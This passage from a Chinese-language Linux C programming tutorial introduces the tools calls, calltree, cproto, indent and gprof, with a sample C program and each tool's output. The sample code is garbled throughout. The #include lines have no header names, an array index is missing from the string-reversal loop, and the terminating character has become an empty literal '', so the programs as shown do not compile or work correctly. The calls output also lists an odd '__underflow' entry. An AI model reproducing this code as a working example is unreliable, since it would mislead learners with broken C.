/tmp/calls 目錄. 這些步驟將把 calls 程序和它的指南頁安裝載你的系統上.

------------------------------------------------------------------------------
--

當 calls 列印出調用跟蹤結果時, 它在函數後面用中括弧給出了函數所在文件的文件名:

main [hello.c]
如果函數並不是向 calls 給出的文件里的, calls 不知道所調用的函數來自哪裡, 則只
顯示函數的名字:

printf
calls 不對遞歸和靜態函數輸出. 遞歸函數顯示成下面的樣子:

fact <<< recursive in factorial.c >>>
靜態函數象這樣顯示:

total [static in calculate.c]
作為一個例子, 假設用 calls 處理下面的程序:

#include

static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
my_print (my_string);
}

void count_sum()
{
int i,sum=0;
for(i=0; i<1000000; i++)
sum += i;
}

void my_print (char *string)
{
count_sum();
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i,sum =0;

count_sum();
size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++) string2[size -1 - i] = string;
string2[size] = '';
for(i=0; i<5000000; i++)
sum += i;

printf ("The string printed backward is %s ", string2);
}
將產生如下的輸出:

1 __underflow [hello.c]
2 main
3 my_print [hello.c]
4 count_sum [hello.c]
5 printf
6 my_print2 [hello.c]
7 count_sum
8 strlen
9 malloc
10 printf
calls 有很多命令行選項來設置不同的輸出格式, 有關這些選項的更多信息請參考 calls
的指南頁. 方法是在命令行上鍵入 calls -h .

calltree
calltree與calls類似,初了輸出函數調用樹圖外,還有其它詳細的信息。
可以從sunsite.unc.edu FTP 站點用下面的路徑
:/pub/Linux/devel/lang/c/calltree.tar.gz得到calltree.

cproto
cproto 讀入 C 源程序文件並自動為每個函數產生原型申明. 用 cproto 可以在寫程序時
為你節省大量用來定義函數原型的時間.
如果你讓 cproto 處理下面的代碼(cproto hello.c):

#include

static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}

void my_print (char *string)
{
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i;

size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size -1 - i] = string;
string2[size] = '';

printf ("The string printed backward is %s ", string2);
}
你將得到下面的輸出:

/* hello.c */

int main(void);

int my_print(char *string);

int my_print2(char *string);
這個輸出可以重定向到一個定義函數原型的包含文件里.

indent
indent 實用程序是 Linux 里包含的另一個編程實用工具. 這個工具簡單的說就為你的代
碼產生美觀的縮進的格式. indent 也有很多選項來指定如何格式化你的源代碼.這些選項
的更多信息請看indent 的指南頁, 在命令行上鍵入 indent -h .

下面的例子是 indent 的預設輸出:

運行 indent 以前的 C 代碼:

#include

static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}

void my_print (char *string)
{
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2; int size, i;

size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++) string2[size -1 - i] = string;
string2[size] = '';

printf ("The string printed backward is %s ", string2);
}
運行 indent 后的 C 代碼:

#include
static void my_print (char *);
static void my_print2 (char *);
main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}
void
my_print (char *string)
{
printf ("The string is %s ", string);
}
void
my_print2 (char *string)
{
char *string2;
int size, i;
size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size - 1 - i] = string;
string2[size] = '';
printf ("The string printed backward is %s ", string2);
}
indent 並不改變代碼的實質內容, 而只是改變代碼的外觀. 使它變得更可讀, 這永遠是
一件好事.

gprof
gprof 是安裝在你的 Linux 系統的 /usr/bin 目錄下的一個程序. 它使你能剖析你的程
序從而知道程序的哪一個部分在執行時最費時間.

gprof 將告訴你程序里每個函數被調用的次數和每個函數執行時所佔時間的百分比. 你如
果想提高你的程序性能的話這些信息非常有用.

為了在你的程序上使用 gprof, 你必須在編譯程序時加上 -pg 選項. 這將使程序在每次
執行時產生一個叫 gmon.out 的文件. gprof 用這個文件產生剖析信息.

在你運行了你的程序併產生了 gmon.out 文件后你能用下面的命令獲得剖析信息:

gprof
參數 program_name 是產生 gmon.out 文件的程序的名字.

為了說明問題,在程序中增加了函數count_sum()以消耗CPU時間,程序如下
#include

static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
my_print (my_string);
}

void count_sum()
{
int i,sum=0;
for(i=0; i<1000000; i++)
sum += i;
}

void my_print (char *string)
{
count_sum();
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i,sum =0;

count_sum();
size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++) string2[size -1 - i] = string;
string2[size] = '';
for(i=0; i<5000000; i++)
sum += i;

printf ("The string printed backward is %s ", string2);
}
$ gcc -pg -o hello hello.c
$ ./hello
$ gprof hello | more
將產生以下的輸出
Flat profile:

Each sample counts as 0.01 seconds.
% cumulative self self total
time seconds seconds calls us/call us/call name
69.23 0.09 0.09 1 90000.00 103333.33 my_print2
30.77 0.13 0.04 3 13333.33 13333.33 count_sum
0.00 0.13 0.00 2 0.00 13333.33 my_print

% 執行此函數所佔用的時間占程序總
time 執行時間的百分比

cumulative 累計秒數 執行此函數花費的時間
seconds (包括此函數調用其它函數花費的時間)

self 執行此函數花費的時間
seconds (調用其它函數花費的時間不計算在內)

calls 調用次數

self 每此執行此函數花費的微秒時間
us/call

total 每此執行此函數加上它調用其它函數
us/call 花費的微秒時間

name 函數名

由以上數據可以看出,執行my_print()函數本身沒花費什麼時間,但是它又調用了
count_sum()函數,所以累計秒數為0.13.

技巧: gprof 產生的剖析數據很大, 如果你想檢查這些數據的話最好把輸出重定向到一個
文件里.



[火星人 via ] linux操作系統下c語言編程入門(2)已經有159次圍觀

http://www.coctec.com/docs/linux/show-post-190408.html